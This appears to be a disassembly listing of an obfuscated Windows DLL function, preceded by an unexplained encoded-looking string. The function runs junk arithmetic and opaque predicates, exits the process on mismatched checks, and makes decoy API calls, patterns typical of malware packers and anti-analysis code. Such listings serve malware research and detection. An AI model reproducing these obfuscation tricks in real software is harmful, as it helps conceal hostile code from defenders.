YZRZg9b0vSOo10YJGXsW3zhQoVn7ZVVOOJVN6Cozptpg40uKYiPeaxrI_HfuhhR2fswJ5Ecu8pn7UC2D_TBJXUERvnz2bKicQRsirSoImR5iYgd1Q38UChA0ieeYrXIC0JPy52k0rdpz3hj9agHhR5klKYLGkTm7AHS5l4Kuxm2KWevNsvE3aVmepsPCH6fbgj4DlXWg7zs8WHonGyIgI63qal69qjG9jnaW79K2eeVRQMM8leVp5H19uZhyoht83EjTWPH3SL2ZXKP6ArKXwqScQFEIp4N03aKDGvXvW7MCbrE1f3KSzMscWmPa9iozTNvIEqjG9gSya4Ue9sgw3I2cXx8BLBIJh14eiKrrjrJgVjo5ryjuGSpEBV0LPtoLoHkrkg37p2QfB0MPUTeJ04QfhSPQkXivall54o7jD0nOQ5ei6k74Ck9QsNVXjWKwT7fDlbrJe3VXk34y_gi6w1Xu7xR521uoKvR5Q6bBIy4RaBc4u2KgC192YdOzXrtqVinNb7JUR770QytXcYben91MsFFHVt1cHgW75Q6balYIuJ3C7HaOGokYyiEucP1dB2v8BfL234NwlVU5N8CZPEuLIFs_vAVXCet72n1EvuJk9vtXsDCKUsHjI_1HLzoe_qEbp2Y3XYbnrV_Nd_kwCfd4Bc37YAMOBtur4kNHOInMWUO2Ab0gsv6ZdrRSz3IzTkKp9uv5Ax_87HgGq5QynYwRBEHxtkdfOHSnk7iCLjTEyaP75in8VKioaFwmIiOUU7aOlNVOZ1x5Bg1IuzT6C217kkjiQ2KNN5WIYsYtJEa1_pflpUGvt45slpea6uIz5q4tkUSpaZCesku1io7CF236zlmx0fdd3exIt3z9qgKaGTzaBeX3fMLMPWue9mqBVDTVnt1E_yc7zL3gItOLZsDyyr4PBWYw5dfiYPSId2e0XMbaCzHm4b0f2FuF4dT7EGNCN0Ujhgt5NTJ8hDeWei8a3AFR5aUmd40BbqbhmqelN0vSlgIwYCyak2m3VoCeMIEDOgYULH0z01B45VweNIJk3wo4tUoVupYL6WXE3s33VPqkv87AhJ8IqDFHWdwJnenqMUbQ0DwDyTvhgS2fJgVIDvuvASTXY3Nm0wkjdLRDlEw_ZeREeUfZCe5wrZ_pIqaKnL_UsIvM22u83AyZIgdiL2uE_Bc_y4pbfIG7xivStEOOsrCRadEmdeZj2F_6NVuFaGi2h9ybK1mXaLKf3HnPxHo4Eei1Y_ujGXKfikt9pcXKlJYg58kSsHSxr8h4gISIvqNV8TaH4h6FcaqYd5yX45in4r_zR_KggfrxV2JWyJB0Dk1OtKFwzOfCC36dcRObUHgaFa66jKBaaNnLNr3Jpq7Pn4PsWVbdQckki0QTzVVLz5P28Ow4sQLN21SmFB1JyFNoUEQrA_R1UKSf2duFHE8W7pZXEUakrK1FouMBR7YNZngU1rh7twNQGuzZq1wec8wzIT4z1IL7XJB9L50nDj0bN1A9Kfm8hmnXGaEPJKJdG946wkYYWumK41bKo6BQAQVlQsnDFTdue0s2fCDERYnT8vN9Fu3kAsTsNMIBw45jYcWu42sjV3HGfQgX5bMxv_sKxyNhVK3lUF1vR7Ga9r0rzdDjnTSDtqed_e96tfpH5VlI322ayfVtaa6wpqno4WIDXwxCBM0EJSxkeuAuTTByvUBYFwHf_oLxoTFDgW2CtP2MEWcy5wGy6SPrl1hCevs1BAKMb05m3AL1DIPX41op2X6Wg1__O9BHk5n1w1ckoxDb4VLAaJYrg9Lzew80t5
push 0x23e
push 0x1000b210
lea eax, [ebp - 0xb4]
push eax
call fcn.10013b80
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.10013c80
add esp, 8
mov dword [ebp - 0x34], 0x23b8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x30], 0xe34
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x2c], 0xc6e
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
and ecx, 0x80000001
jns 0x1000f134
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x1000f14a
cmp dword [ebp - 0x34], 0
jle 0x1000f14a
mov edx, dword [ebp - 0x34]
add edx, 0x2564
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x3c], 0x1b07
mov eax, dword [ebp - 0x40]
add eax, 0xc8b
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x1c]
and ecx, 0x80000003
jns 0x1000f173
dec ecx
or ecx, 0xfffffffc
inc ecx
test ecx, ecx
je 0x1000f18b
cmp dword [ebp - 0x1c], 0
jle 0x1000f18b
mov edx, dword [ebp - 0x1c]
add edx, 0x627
mov dword [ebp - 0x1c], edx
jmp 0x1000f196
mov eax, dword [ebp - 0x1c]
sub eax, 0x627
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x30]
add ecx, 0x1e91
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], 0x12c9
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x30]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x30]
sub eax, 0x1a04
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x989
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], 0x124b
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x34]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x34]
add eax, 0x5c4
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x1e4
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x64], 0
jmp 0x1000f212
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x5f
jge 0x1000f223
mov ecx, dword [ebp - 0x34]
sub ecx, 9
mov dword [ebp - 0x34], ecx
jmp 0x1000f209
mov edx, dword [ebp - 0x30]
sub edx, 0x1d72
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x1c]
add eax, 0x1548
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x34]
add ecx, 0x2509
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x24], 0xaaf
mov edx, dword [ebp - 0x28]
and edx, 0x80000001
jns 0x1000f25d
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x1000f26c
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
jmp 0x1000f24d
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x38]
add edx, 0x4f2
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 0x1423
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x30]
add eax, 0x1ce1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 0x18bc
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x3c]
add eax, 0x512
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x1d11
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x1b1f
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x28]
sub eax, 0x19b6
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x1613
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x3a6
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x38]
add ecx, 0x136b
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x2c]
sub edx, 0x844
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x30]
sub eax, 0x23cc
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x1cb1
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x3c]
add edx, 0xb9f
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x4c]
and eax, 0x80000001
jns 0x1000f38e
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1000f3a4
cmp dword [ebp - 0x4c], 0
jle 0x1000f3a4
mov ecx, dword [ebp - 0x4c]
sub ecx, 0xd1f
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0xd0a
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x2c]
sub eax, 0x3a2
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x28]
add edx, 0x409
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x3c]
sub ecx, 0x244c
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x30]
and edx, 0x80000003
jns 0x1000f410
dec edx
or edx, 0xfffffffc
inc edx
test edx, edx
je 0x1000f425
cmp dword [ebp - 0x30], 0
jle 0x1000f425
mov eax, dword [ebp - 0x30]
add eax, 0x23e9
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x34]
sub edx, 0x21b4
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
add ecx, 0xd73
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x40]
sub eax, 0xf2c
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x47e
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 0x1983
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x40]
add eax, 0x1472
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0x2567
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x2c]
sub eax, 0x1513
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x40]
add edx, 0x1115
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x1c]
sub eax, 0x19cc
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x38]
add edx, 0x263d
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x38]
add ecx, 0x828
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0xaa6
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x2c]
sub eax, 0x251d
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x3c]
add ecx, 0x1d0e
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x23c7
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x253a
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x1919
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x19c2
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x40]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 0x80000001
jns 0x1000f5fd
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x1000f60c
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
jmp 0x1000f5ed
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x34]
add ecx, 0x2457
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0xd74
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0x1e51
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x30]
sub edx, 0x20bf
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x1276
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x3c]
sub ecx, 0xf7
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x38]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000f6b6
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
jmp 0x1000f69c
mov eax, dword [ebp - 0x2c]
add eax, 0xbb1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x40]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000f6e4
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
jmp 0x1000f6ca
mov eax, dword [ebp - 0x28]
sub eax, 0x2164
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x24]
add edx, 0x17f3
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x40]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x3c]
sub eax, 0xb7b
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0x45f
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000f763
mov edx, dword [ebp - 0x24]
add edx, 0x241d
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x24]
add edx, 0x265e
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x2ce
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x38]
sub edx, 0x227e
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x24fd
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x38]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x698
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x21e0
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x3c]
add eax, 0x1f3d
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x40]
add ecx, 0x13a
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x30]
sub edx, 0x1e60
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x128b
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 0x1b1f
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x3c]
sub eax, 0x2575
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 0x1cc2
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x24]
add edx, 0x3bb
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x1a2e
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x28]
add eax, 0x1867
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x1e25
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0xc86
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0x3a9
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x40]
sub edx, 0xce3
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x28], 0x41dec
jne 0x1000f9c5
cmp dword [ebp - 0x3c], 0x143b9
jne 0x1000f9c5
cmp dword [ebp - 0x30], 0x122ff
jne 0x1000f9c5
cmp dword [ebp - 0x38], 0xfffdcb24
jne 0x1000f9c5
cmp dword [ebp - 0x18], 0xfffcb1a6
jne 0x1000f9c5
cmp dword [ebp - 0x1c], 0xfff5d073
jne 0x1000f9c5
cmp dword [ebp - 0x24], 0xfffb78de
jne 0x1000f9c5
cmp dword [ebp - 0x2c], 0xebcc
jne 0x1000f9c5
cmp dword [ebp - 0x34], 0xfffcca6c
jne 0x1000f9c5
cmp dword [ebp - 0x40], 0x7a72
jne 0x1000f9c5
cmp dword [ebp - 0x4c], 0
je 0x1000f9cd
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x100c5218], 0
je 0x1000f9e8
cmp dword [0x100c5084], 0
je 0x1000f9e8
mov dword [ebp - 0x6c], 1
jmp 0x1000f9ef
mov dword [ebp - 0x6c], 0
mov al, byte [ebp - 0x6c]
mov byte [ebp - 0x45], al
mov ecx, dword [0x1006cae4]
xor edx, edx
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x8c], edx
cmp dword [ebp - 0x90], 0x9b645e65
jne 0x1000fa56
cmp dword [ebp - 0x8c], 0
jne 0x1000fa56
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
push 0
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalHandle]
mov al, byte [ebp - 0x45]
mov esp, ebp
pop ebp
ret